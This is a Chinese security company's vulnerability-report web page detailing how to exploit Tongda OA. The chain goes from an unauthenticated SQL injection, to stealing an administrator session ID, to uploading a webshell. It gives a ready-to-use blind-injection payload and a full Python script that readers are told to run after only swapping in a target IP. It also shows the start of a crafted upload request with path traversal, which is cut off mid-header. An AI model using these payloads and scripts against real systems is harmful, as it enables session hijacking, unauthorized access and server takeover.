首页
技术服务
  • 网络安全等级保护测评
  • 软件测试
  • 全生命周期安全保障
  • 实战攻防
培训赛事
  • 培训中心介绍
  • 赛事活动
  • 校企合作
  • 培训服务
  • 预约咨询
合作单位
  • 党政机关
  • 能源行业
  • 医疗行业
  • 教育行业
  • 重点用户
新闻中心
  • 企业动态
  • 行业资讯
  • 漏洞报告
人才招聘
  • 团队风采
  • 招聘信息
关于我们
  • 企业介绍
  • 企业文化
  • 发展历程
  • 荣誉资质
  • 公正性声明
  • 洽谈联系
新闻中心 漏洞报告
相关新闻
  • 2024-06-12

    CVE-2024-4577 PHP CGI远程代码执行漏洞分析

  • 2024-03-26

    CVE-2023-38545 curl & libcurl堆缓冲区溢出漏洞分析

  • 2022-04-29

    关于Apache Struts2存在远程代码执行漏洞的安全通告

  • 2021-03-05

    记一次渗透测试

关于通达OA前台SQL注入到getshell利用思路
2020-09-24

0x00 前言

对于渗透测试来说, 后台的SQL注入其实是很鸡肋的, 所以我们的突破点一定是从一个前台的漏洞开始, 比如前台SQL注入. 通达OA的前台SQL注入, 根据之前公开的文章推测数量应该是有多个, 但都没有明确给出payload, 对于没有代码审计能力的人来说是无法直接利用的.

通达OA的数据库为MYSQL, MYSQL注入常用的利用方式:

(1)当前数据库账户拥有读写权限且知道物理路径的时候直接写shell.

(2)当前注入点支持多语句执行且知道物理路径的时候利用数据库日志导出写shell.

(3)读取管理员帐号密码进入后台, 寻找新的突破点, 如任意文件上传漏洞写shell.

但这些均不适用于通达OA. 通达OA虽然默认是root用户, 但却没有启用读写权限, 本篇文章所涉及到的SQL注入也不支持堆叠注入, 且数据库存储的帐号密码是加密的, 不容易解密.

那么我们要如何利用呢?


0x01 SQL注入获取PHPSESSID

给出payload

经过测试,已知的影响版本: 2015/2016/2017

不影响v11以上版本,其他未知.

/general/document/index.php/recv/register/insert
(POST)
title)values("'"^exp(if(ascii(substr(user(),1,1))%3d114,1,710)))# =1&_SERVER=

条件为真时返回302跳转到404, 为假时利用exp()函数报错,提示"SQL语句执行错误",验证注入点存在

1635211425(1).jpg

640.png

先给利用语句

select SID from user_online limit 1;

通达OA数据库中有一张表(user_online)是存储当前处于登陆状态的帐号的认证凭证的,也就是PHPSESSID只要能够获取到这个值,我们就可以伪造Cookie登陆后台

1635211499(1).jpg

UID等于1即为管理员的凭证(后台多种getshell的方式都是需要管理员权限的)

640 (1).png

同一个账户是可以同时异地登录产生多个SID的值,我们只需获取一个即可, 加上 limit1 防止多个返回结果导致的报错,减少麻烦.

1635211522(1).jpg

1635211531(1).jpg


好了,现在我们已经清楚了了解了数据库的这张表的作用了,现在我们需要一个注入点,上面已给出.

 

有了注入点也还不够,我们还需要一个脚本给够辅助我们快速的获取到想要的值

(默认的sqlmap是不能识别这个注入点的)

 

嗯,脚本也已经给大家准备好了,只需把代码中的"127.0.0.1"更改为目标IP即可使用.

当然,你需要提前判断是否存在注入

# -*- coding:utf-8 -*-
import requests

def hello(url, payload):    result = ""    payload_bak = payload    for len in range(1, 27):        str = '0'        for i in range(0, 7):            payload = payload.format(len, 6 - i, int(str + '0', 2))            data = {payload: "1", "_SERVER": ""}            r = requests.post(url, data=data, timeout=10, verify=False, allow_redirects=False)            # print(r.status_code)            if r.status_code == 302:                str = str + '0'            elif r.status_code == 500:                str = str + '1'            else:                hello(url, payload)            payload = payload_bak        result += chr(int(str, 2))        if int(str, 2) == 127:            print("系统当前无正在登录的用户...")            return result        print("第%d位为: %s" % (len, chr(int(str, 2))))    return result

def main():    url = "http://127.0.0.1/general/document/index.php/recv/register/insert"    payload = """title)values("'"^exp(if((ascii(substr((select/**/SID/**/from/**/user_online/**/limit/**/1),{},1))>>{}={}),1,710)))# """    print("PHPSESSID=%s" % hello(url, payload))

if __name__ == "__main__":    main()

这里我只登录了一个账户,运行脚本通过SQL注入获取到PHPSESSID值

1635211576(1).jpg

查看浏览器的Cookie,对比可以发现是一样的

1635211585(1).jpg


有了PHPSESSID,我们就可以登录后台getshell,实际上我们并不需要登录,只需要伪造Cookie发个数据包即可.

请往下看.


0x02 后台getshell

后台getshell的方式多种,这里举例一种比较好用的,也是影响范围最大的.

经过测试,已知的影响版本:2017版/v11.0-v11.6

 

payload如下,直接拿过去用burp发包就行,需要修改的地方有两个

目标IP与Cookie中PHPSESSID的值(SQL注入获取到的SID)

POST /general/data_center/utils/upload.php?action=upload&filetype=nmsl&repkid=/.%3C%3E./.%3C%3E./.%3C%3E./ HTTP/1.1Host: 192.168.238.141User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116
Previous

【漏洞通告】Apache Airflow命令注入分析复现(CVE-2020-11978)

Next

解读|《党委(党组)网络安全工作责任制实施办法》

联系我们

地址:
总部地址:武汉市洪山区欢乐大道9号正堂时代28层
培训中心地址:武汉市东西湖区径河街道国家网络安全人才与创新基地培训中心1期
热线:
18627879046
027-88879416
邮箱:
whay@wuhananyu.com

技术服务

实战攻防
全生命周期安全保障
软件测试
网络安全等级保护测评

培训赛事

培训中心介绍
赛事活动
校企合作
培训服务
预约咨询

人才招聘

招聘信息
团队风采

投诉与监督:
027-88879416

关注我们
返回顶部
版权所有 Copyright @   2010-2014武汉安域信息安全技术有限公司       鄂ICP备16004959号      
   鄂公网安备 42018502000535号
技术支持:幸运坐标     免责声明